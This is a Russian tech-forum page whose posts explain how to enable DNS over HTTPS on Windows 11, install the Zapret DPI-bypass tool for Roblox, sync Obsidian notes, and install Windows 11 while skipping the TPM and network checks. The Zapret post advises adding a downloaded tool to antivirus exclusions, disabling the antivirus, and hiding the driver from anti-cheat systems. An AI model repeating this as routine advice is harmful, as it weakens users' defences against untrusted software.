    Традиционно процесс получения доменного имени происходил в сети без шифрования. Любой промежуточный этап мог привести к перехвату доменных имен посещаемых вами сайтов. При использовании DNS через HTTPS , также известного как DoH, обмен данными между вашим компьютером и DNS-сервером с поддержкой DoH осуществляется в зашифрованном виде. Никто не сможет перехватить ваши DNS-запросы, чтобы отслеживать посещаемые вами адреса или изменять ответы от DNS-сервера.

    Сначала выберите поддерживаемый бесплатный DNS-сервис.

    Начиная с момента выхода Windows 11, DNS через HTTPS в Windows 11 работает только с определенным жестко заданным списком бесплатных DNS-сервисов (вы можете сами увидеть этот список, выполнив команду netsh dns show encryption в окне терминала ).

    Вот текущий список поддерживаемых адресов служб DNS IPv4 по состоянию на ноябрь 2023-2025 года:

    • Основной DNS-сервер Google: 8.8.8.8
    • Дополнительный DNS-сервер Google: 8.8.4.4
    • Основной DNS-сервер Cloudflare: 1.1.1.1
    • Вторичный DNS-сервер Cloudflare: 1.0.0.1
    • Основной DNS-сервер Quad9: 9.9.9.9
    • Вторичный DNS-сервер Quad9: 149.112.112.112

    Для IPv6 ниже приведен список поддерживаемых адресов DNS-служб:

    • Основной DNS-сервер Google: 2001:4860:4860::8888
    • Вторичный DNS-сервер Google: 2001:4860:4860::8844
    • Основной DNS-сервер Cloudflare: 2606:4700:4700::1111
    • Вторичный DNS-сервер Cloudflare: 2606:4700:4700::1001
    • Основной DNS-сервер Quad9: 2620:fe::fe
    • Вторичный DNS-сервер Quad9: 2620:fe::fe:9

    Когда придёт время включить DoH в разделе ниже, вам нужно будет выбрать две пары этих DNS-серверов — основной и дополнительный для IPv4 и IPv6 — для использования с вашим ПК под управлением Windows 11. В качестве бонуса, использование этих серверов, скорее всего, ускорит работу в интернете.

    Далее, включите DNS через HTTPS в Windows 11.

    Для начала настройки DNS через HTTPS откройте приложение «Параметры», нажав Windows+i на клавиатуре. Или вы можете щелкнуть правой кнопкой мыши кнопку «Пуск» и выбрать «Параметры» в появившемся специальном меню.

    12cac677-91a6-4fab-8c93-fe3ec42e340e-image.png

    В настройках нажмите «Сеть и Интернет» на боковой панели. В параметрах сети и Интернета выберите в списке название вашего основного интернет-соединения, например, «Wi-Fi» или «Ethernet». (Не нажимайте «Свойства» в верхней части окна — это не позволит зашифровать ваши DNS-соединения.)

    48c8d56a-6495-40b4-bd88-49647266a58c-image.png

    На странице свойств сетевого подключения выберите «Свойства оборудования».

    56326869-7531-4faf-be3b-e11c3f1e8190-image.png

    На странице свойств оборудования Wi-Fi или Ethernet найдите параметр «Назначение DNS-сервера» и нажмите кнопку «Изменить» рядом с ним.

    dab89642-2ce5-4ffe-aa56-2b34e024e1ab-image.png

    В появившемся окне с помощью выпадающего меню выберите «Ручные» настройки DNS. Затем переведите переключатель «IPv4» в положение «Вкл.».

    c919f6c3-a0fc-4b4f-a837-1e46e223cf7b-image.png

    4bd33eb1-1648-4962-9b22-49dd28a51f28-image.png

    В разделе IPv4 в поле «Предпочитаемый DNS» введите адрес основного DNS-сервера, выбранный вами в предыдущем разделе (например, «8.8.8.8»). Аналогично, в поле «Альтернативный DNS» введите адрес дополнительного DNS-сервера (например, «8.8.4.4»).

    Если вы не видите параметры шифрования DNS, значит, вы редактируете настройки DNS для вашей сети Wi-Fi. Убедитесь, что вы выбрали тип подключения в разделе «Настройки» > «Сеть и Интернет», а затем сначала нажмите «Свойства оборудования».

    e2dcb9f4-7b2c-4efd-9e92-6fc476890adb-image.png

    В том же окне установите параметр “DNS по протоколу HTTPs” в положение “Вкл.”.

    d8eeb992-897e-4891-a46e-de40c6b3ff11-image.png

    После этого повторите этот процесс с IPv6.


    Переведите переключатель IPv6 в положение «Вкл.», затем скопируйте основной IPv6-адрес из раздела выше и вставьте его в поле «Предпочитаемый DNS». Далее скопируйте соответствующий дополнительный IPv6-адрес и вставьте его в поле «Альтернативный DNS». Убедитесь, что DNS Over HTTPs включен, затем нажмите «Сохранить».

    f0f50a92-7290-4106-87b0-d6297268861d-image.png

    Вернувшись на страницу свойств оборудования Wi-Fi или Ethernet, вы увидите список ваших DNS-серверов, рядом с каждым из которых будет стоять отметка “(Зашифровано)”.

    Это все, что вам нужно сделать. Закройте приложение «Настройки», и всё готово. С этого момента все ваши DNS-запросы будут конфиденциальными и безопасными.


    0 0 1 Ответить
  • kirilljsxK
    kirilljsx
    Как обойти блокировку Roblox: инструкция

    Что такое Zapret?
    Zapret - это инструмент для обхода DPI-блокировок (Deep Packet Inspection), который модифицирует сетевые пакеты и позволяет обходить цензуру без использования VРN. Главное преимущество этого решения - ваш IP-адрес остается неизменным, а скорость интернета не снижается.

    Решение основано на драйвере WinDivert, который перехватывает сетевые пакеты и модифицирует их таким образом, чтобы системы DPI не могли их заблокировать. Это легальный инструмент с цифровой подписью Microsoft.


    Требования и подготовка

    Важное предупреждение об антивирусах
    WinDivert - легальный инструмент для перехвата трафика, но антивирусы могут ошибочно считать его угрозой. Добавьте папку с zapret в исключения антивируса перед установкой.

    Первый шаг: настройка Secure DNS

    Перед установкой zapret необходимо включить безопасный DNS:

    Google Chrome:

    • Откройте Настройки → Безопасность
    • Включите “Использовать безопасный DNS”
    • Выберите любого провайдера кроме стандартного (рекомендуется Google или Cloudflare)

    Windows 11:

    Можно включить DNS-over-HTTPS в системных настройках (подробная инструкция)


    Установка zapret-roblox

    Теперь перейдем к самому интересному

    Шаг 1: Скачивание

    Скачать можно по ссылке - zapret-roblox-main.zip
    Либо через github - https://github.com/Lux1de/zapret-roblox

    Шаг 2: Распаковка
    Распакуйте архив в папку без кириллицы и спецсимволов в пути. Правильные примеры:

    • ✅ C:\zapret
    • ✅ C:\Tools\zapret
    • ❌ C:\Программы\zapret
    • ❌ C:\Users\Пользователь\zapret

    И следите что бы в пути не было кириллицы

    Шаг 3: Настройка фильтров

    44b189df-cd10-4c27-bc91-f6d90c588fb8-image.png

    КРИТИЧЕСКИ ВАЖНО! Перед запуском service.bat выполните две настройки:

    • Запустите service.bat от имени администратора

    Внутри командной строки:

    • Выберите пункт 6. Switch Game Filter и установите значение ENABLED

    • Выберите пункт 7. Switch ipset и установите значение ANY

    Все пункты вы можете увидеть в консоли:
    dc84b752-db03-4265-98d4-328e1960e5b5-image.png

    Эти настройки необходимы для корректной работы с игровым трафиком Roblox.

    Шаг 4: Установка службы

    • В меню service.bat выберите пункт 1. Install Service
    • Программа установит службу автозапуска Windows
    • Проверьте статус через пункт Check Status

    dc84b752-db03-4265-98d4-328e1960e5b5-image.png

    Выбор стратегии обхода

    Zapret предлагает несколько стратегий обхода, которые работают по-разному в зависимости от провайдера:

    • general.bat — базовая стратегия
    • general-ALT.bat — альтернативная стратегия
    • general-FAKE.bat — использует фейковые TLS-пакеты
    • general-SIMPLE-FAKE.bat — упрощенный вариант

    Если одна стратегия не работает, попробуйте другую. Обычно для Roblox хорошо работают стратегии ALT или FAKE.

    Смотрите когда вы при запуске service.bat видите меню основное и нажимаете далее 1. Install Services далее нужно выбрать нужный пакет и ввести просто цифру от 1 до 17 в зависимости от нужного пакета.


    Основные команды service.bat

    После установки вы можете управлять службой через service.bat:

    • Install Service — установить службу в автозапуск
    • Remove Services — удалить службу из автозапуска
    • Check Status — проверить статус работы
    • Run Diagnostics — запустить диагностику проблем + очистка кэша Discord
    • Check Updates — проверить наличие обновлений
    • Switch Game Filter — включить/выключить обход для игр (порты UDP/TCP >1023)
    • Switch ipset — переключение режимов фильтрации IP: none / loaded / any
    • Update ipset list — обновить список IP-адресов

    Решение типичных проблем

    1. Проблема: ничего не происходит после запуска
    После запуска general*.bat должен появиться процесс winws.exe в диспетчере задач. Если его нет:

    • Запустите файл от имени администратора
    • Проверьте, что путь к папке не содержит кириллицы
    • Отключите антивирус временно для проверки

    2. Проблема: обход не работает или перестал работать
    Стратегии могут переставать работать из-за изменений со стороны РKH. Выполните следующие действия:
    ​- Запустите service.bat → Run Diagnostics

    • Проверьте, что Game Filter установлен в ENABLED, а ipset в ANY
    • Попробуйте другие стратегии: general-ALT.bat, general-FAKE.bat
    • Если ничего не помогает — выполните полную переустановку:
      • Сохраните свои изменения в списках доменов
      • Перезагрузите компьютер
      • Запустите service.bat → Remove Services
      • Удалите папку zapret
      • Скачайте свежую версию с releases

    Повторите установку с начала

    3. Проблема: не работают другие игры или приложения
    Отключите фильтры:

    • service.bat → Game Filter (установите в disabled)
    • service.bat → ipset (установите в empty)

    4. Проблема: античит блокирует WinDivert
    Некоторые античит-системы могут детектировать WinDivert. Используйте инструкцию по скрытию.

    5. Проблема: Windows 7 требует подпись драйвера
    Для Windows 7 замените файлы WinDivert.dll и WinDivert64.sys из папки bin на версии из специальной папки win7.


    Добавление своих доменов и IP-адресов

    Если нужно добавить другие заблокированные сервисы, отредактируйте файлы в папке lists:

    • list-general.txt — домены для обхода (поддомены включаются автоматически)
    • list-exclude.txt — исключения доменов
    • ipset-all.txt — IP-адреса и подсети
    • ipset-exclude.txt — исключения IP-адресов

    Zapret также работает с YouTube, Discord и другими сервисами.


    1 0 1 Ответить
  • kirilljsxK
    kirilljsx
    Переезд с Notion и Trello на Obsidian (Локальная база знаний)

    0ad4bb0c-b6f5-4a80-8f16-714ca72e7bba-image.png

    Я давно сидел на Notion и Trello, но из-за рисков блокировок облаков в России и желания полного контроля над данными переехал на Obsidian. Это моя локальная Second Brain, где все знания и задачи под замком у меня.


    Почему локальное хранение - это безопасно

    Ваши заметки в Obsidian хранятся как простые Markdown-файлы прямо на диске, без передачи на чужие сервера. Никаких рисков утечек или блокировок - данные под вашим контролем, с полным оффлайн-доступом. В отличие от Notion, где все на облаке и зависит от вендора, здесь вы сами отвечаете за бэкапы, но получаете максимальную приватность.

    Бесплатная синхронизация без $8 за Obsidian Sync

    Мне тоже пришлось признать, что Syncthing в РФ - лотерея, а строить личную базу знаний на том, что может отвалиться из‑за блокировок, - так себе идея. Поэтому давай разберем рабочие альтернативы и перепишем стратегию под реалии России. По этому ниже я опишу 2 основные альтернативы.


    Почему локальная база лучше облака

    Когда ты сидишь в Notion/Trello, все твои знания и проекты живут на чужих серверах, под чужими правилами и под риском блокировок или смены политики. В Obsidian же все хранится в виде обычных Markdown‑файлов у тебя на диске - хочешь, бэкапишь на внешний SSD, хочешь, шифруешь, хочешь, гоняешь через Git.

    Ключевые плюсы локальной базы:

    • Приватность: файлы лежат у тебя, а не у корпорации; никто не сканирует твой контент для аналитики и рекламы.
    • Надежность: блокнули сервис - тебе все равно, Obsidian работает полностью оффлайн.
    • Миграция: Markdown - открытый формат, всегда можно уехать в другой инструмент без боли.

    Чем синхронизировать Obsidian в РФ

    Строим схему вокруг более предсказуемых штук. Я бы закладывался на GitHub + Obsidian Git как основной вариант, а для «совсем без Git» - обычное облако (Я.Диск/Dropbox) + клиент.

    Вариант 1: GitHub + Obsidian Git (основной боевой сетап)

    GitHub в РФ пока живет, а Git дает версионность, бэкап и нормальную историю изменений. Для Obsidian есть отличный плагин Obsidian Git, который автоматизирует коммиты и пуши.

    Что нужно:

    • Аккаунт на GitHub: https://github.com
    • Плагин Obsidian Git: ставится из Community Plugins в Obsidian.
    • Git-клиент на ПК (Git for Windows / встроенный в Linux/Mac).

    Как настроить (в общих чертах):

    1. Создаешь vault в Obsidian (пусть это будет SecondBrain).
    2. Инициализируешь в этой папке Git-репозиторий (через GitHub Desktop или git init).
    3. Создаёшь приватный репозиторий на GitHub и связываешь его с локальным (git remote add origin ...).
    4. В Obsidian: Settings → Community plugins → Browse → Obsidian Git → Install & Enable.
    5. В настройках плагина включаешь авто‑commit и авто‑push раз в N минут или при закрытии Obsidian.

    На телефоне: Obsidian + Git‑клиент/клиент типа Ogresync, который упрощает связку Obsidian ↔ GitHub.

    Плюс: все бесплатно, работает в РФ, дает историю изменений и резервную копию на GitHub.


    Вариант 2: Облако (Я.Диск/Dropbox/OneDrive) как транспорт

    Самый «не заморачиваться» вариант - использовать обычный облачный диск как транспортную трубу для папки с vault.

    Схема:

    • Создаешь папку vault внутри директории, которую синхронизирует клиент Я.Диска/Dropbox и т.п.
    • Ставишь тот же клиент на телефон (или используешь встроенную поддержку в мобильной OS).
    • Обе версии Obsidian (ПК и телефон) смотрят в одну и ту же папку, синхронизируемую облаком.

    Это не дает версионности как Git, но работает более «по‑обывательски» и не привязано к Syncthing.


    Вариант 3: Resilio Sync (как альтернатива P2P)

    Если хочется именно P2P-синхронизацию без публичного Git, можно посмотреть на Resilio Sync (бывший BitTorrent Sync) — проприетарный, но работает как частный Bittorrent для файлов.

    • Официальный сайт: https://www.resilio.com/sync
    • Клиенты есть под Windows, Linux, macOS, Android, iOS.

    Минусы:

    • Бесплатная версия урезана, требует регистрации и даёт ограничения, особенно после недавних изменений.
    • Закрытый код, нет прозрачности, как у open-source.

    Таблица по вариантам синхронизации

    Вариант Стоимость Версионность Прозрачность Подходит для РФ
    GitHub + Git Бесплатно Да Open-source Да, стабильно
    Облако (Я.Диск) Условно бесплатно Нет Зависит от сервиса Да
    Resilio Sync Free / Pro Частично Закрытый В целом да

    Obsidian как замена Notion + Trello

    Синхронизация — это транспорт. Магия начинается в самом Obsidian.

    Как я использую Obsidian вместо Notion/Trello:

    • Задачи: через плагин Tasks и/или Kanban получаешь полноценные TODO, доски и статусы задач.
    • Базы знаний: Dataview превращает папки и теги в таблицы и dashboards.
    • Журнал / дневник: Calendar + ежедневные заметки для фиксации прогресса.

    Визуализация: привычные поля из Notion/Trello можно перенести в YAML‑фронтматтер:

    ---
    project: Site
    status: in-progress
    priority: high
    due: 2025-12-31
    tags: [b2b, marketing]
    ---
    

    Потом Dataview собирает все такие заметки в таблицу: список задач по проекту, «Kanban в тексте», «что просрочено» и т.д.


    Топ-5 плагинов под Obsidian

    Если строить систему «живёт локально, синкается через Git», то вот мой must‑have набор:

    1. Dataview
      Достаёт структуру из хаоса Markdown‑файлов: таблицы проектов, списки задач, обзоры по тегам.

      • Пример: вывести все задачи по проекту Site со статусом in-progress.
    2. Tasks
      Это по сути «Trello в тексте» — чекбоксы, дедлайны, повторяющиеся задачи, фильтры и поиск.

      • Позволяет делать обзоры: «что на сегодня», «что просрочено», «что без даты».
    3. Kanban
      Доски в стиле Trello, но каждая карточка — это Markdown‑заметка.

      • Можно вести проекты: «Backlog → In progress → Done» с привязкой к файлам.
    4. Calendar
      Добавляет календарь и дневники: удобно вести ежедневные записи, трекать прогресс и встречи.

    5. Obsidian Git
      Склеивает всю эту красоту с GitHub: автоматические коммиты, пуши, простой откат версий.

    Эти пять плагинов превращают Obsidian в локальный командный центр: задачи, проекты, заметки, база знаний - все под рукой и под твоим контролем.


    1 0 0 Ответить
  • kirilljsxK
    kirilljsx
    Чистая установка Windows 10/11 в РФ: Обходим TPM и ставим без интернета

    Microsoft в 2025 году всё ещё усложняет жизнь россиянам — ISO не скачивается без VPN, а старые ПК блочит из-за TPM 2.0. Но мы ж хитрожопики, разобрались: сейчас покажу простую чистую установку без гемора. Все официально, шаг за шагом, с Rufus для флешки и командой oobe\bypassnro для локальной учетки.

    Скачиваем оригинальный ISO без VPN

    Официальный сайт Microsoft заблокирован в РФ, но есть скрипты-заготовщики с GitHub. Главный — MediaCreationTool.bat от AveYo, он тянет свежие образы Windows 11 (и даже 12, если выйдет).

    • Перейди на GitHub: https://github.com/AveYo/MediaCreationTool.bat
    • Жми зелёную кнопку Code > Download ZIP, распакуй.
    • Запусти MediaCreationTool.bat от админа (правой кнопкой). Выбери ISO для Windows 11, язык Russian, архитектуру x64.
    • Альтернатива: сервис UUP Dump — https://uup.rg-adguard.net/. Выбери версию, Download ISO Compiler, запусти exe.

    Если сайт UUP Dump не грузится, скачайте приложение с GitHub:
    GitHub releases: https://github.com/rgl/uup-dump-get-windows-iso — архивы для Windows.

    Проверка целостности: После скачивания в PowerShell выполни certutil -hashfile твой.iso SHA256 и сравни хэш с официальным. Готово — у тебя чистый ISO!

    Создаём флешку в Rufus с обходом TPM/Secure Boot

    Rufus — король для загрузочных флешек, последняя версия 4.5+ сама обходит TPM 2.0, Secure Boot и лимиты RAM. Скачай с офсайта: https://rufus.ie/.

    Шаг Действие Важные галочки
    1 Вставь флешку 8+ ГБ, запусти Rufus Устройство: твоя флешка
    2 Выбери ISO Windows 11 Схема: GPT (для UEFI)
    3 В Параметры образа (ниже) Стандартная установка Windows 11
    Удалить требование TPM/Secure Boot/4 ГБ RAM
    4 Дополнительно Удалить требование учетки MS
    Локальная учетка Administrator
    Отключить BitLocker/данные
    5 Жми Старт, подтверди форматирование Проверка бэд-блоков (опционально)

    Флешка готова за 10-15 мин. Теперь она игнорирует все проверки Microsoft!

    Установка без интернета и аккаунта MS

    Загрузись с флешки (в BIOS включи UEFI, отключи Secure Boot если нужно). Установка идёт как обычно, но на этапе OOBE (первая настройка) обходим интернет:

    1. Дойди до экрана “Подключитесь к сети” (Shift+F10 для CMD).
    2. В открытой командной строке введи: oobe\bypassnro и Enter.
    3. Комп перезагрузится — отключи интернет (вынь кабель/Wi-Fi).
    4. Продолжай: выбери локальную учётку, имя, пароль (или без). Всё!

    Если не сработало (редко в новых билдах), используй реестр:

    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE /v BypassNRO /t REG_DWORD /d 1 /f
    shutdown /r /t 0
    

    Почему это топ и советы от меня

    В РФ VPN обязателен только для MS, но с MediaCreationTool.bat и Rufus — ноль проблем. Работает на старом железе (i5 6-го поколения и ниже), без тормозов. После установки обнови драйверы вручную, включи Windows Update когда надо.

    Таблица сравнения методов:

    Метод Плюсы Минусы Ссылка
    Rufus Обход всего, локальная учётка Нужно ISO заранее rufus.ie
    OOBE Bypass Без флешки, на лету Только учётка remontka.pro
    UUP Dump Свежие билды Дольше сборка uup.rg-adguard.net

    Тестировал на своем железе— летает! Если вопросы, пиши в комменты. Удачи с чистой Windows 11! 🚀


    0 0 0 Ответить
Популярные темы:

  • Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт
    AladdinA
    Aladdin
    7
    12
    646

  • Полный гайд по работе с NodeBB CLI
    D
    DeepSeeker
    6
    3
    61

  • for или foreach в javascript: в каких случаях что использовать
    D
    DeepSeeker
    5
    2
    72

  • Подготовка к собесам фронтенд
    Dastan SalmurzaevD
    Dastan Salmurzaev
    5
    5
    64

  • Передача типов в TypeScript в под функции
    kirilljsxK
    kirilljsx
    4
    5
    109

  • Исчерпывающее руководство по конфигурации Nginx
    undefined
    4
    1
    57

  • Проверка стала проще с Zod: как обеспечить точность и качество форм
    kirilljsxK
    kirilljsx
    3
    8
    690

  • Bruno - новый клиент для API (Замена PostMan Insomnia)
    ManulM
    Manul
    3
    2
    1.4k

  • Vue.js и React — необычное сравнение
    D
    DeepSeeker
    3
    10
    679

  • Оптимизация React js приложений. Использование функции debounde()
    ManulM
    Manul
    3
    5
    334

  • Провайдеры в Nest JS - 1.3
    undefined
    3
    1
    213

  • Полный гайд по команде LFTP: Работа с локальными и удалёнными серверами
    undefined
    3
    1
    199

Пользователи в Сети:

Valik BogdanV
Valik Bogdan

Статистика:

7

В сети

185

Пользователи

370

Темы

1.2k

Сообщения

Категории

  • Главная
  • Новости
  • Фронтенд
  • Бекенд
  • Языки программирования

Контакты

  • Сотрудничество
  • info@exlends.com
  • Наш чат
  • Наш ТГ канал

© 2024 - 2025 ExLends, Inc. Все права защищены.

Политика конфиденциальности
  • Войти

  • Нет учётной записи? Зарегистрироваться

  • Войдите или зарегистрируйтесь для поиска.
  • Первое сообщение
    Последнее сообщение
0
  • Лента
  • Категории
  • Последние
  • Метки
  • Популярные
  • Пользователи
  • Группы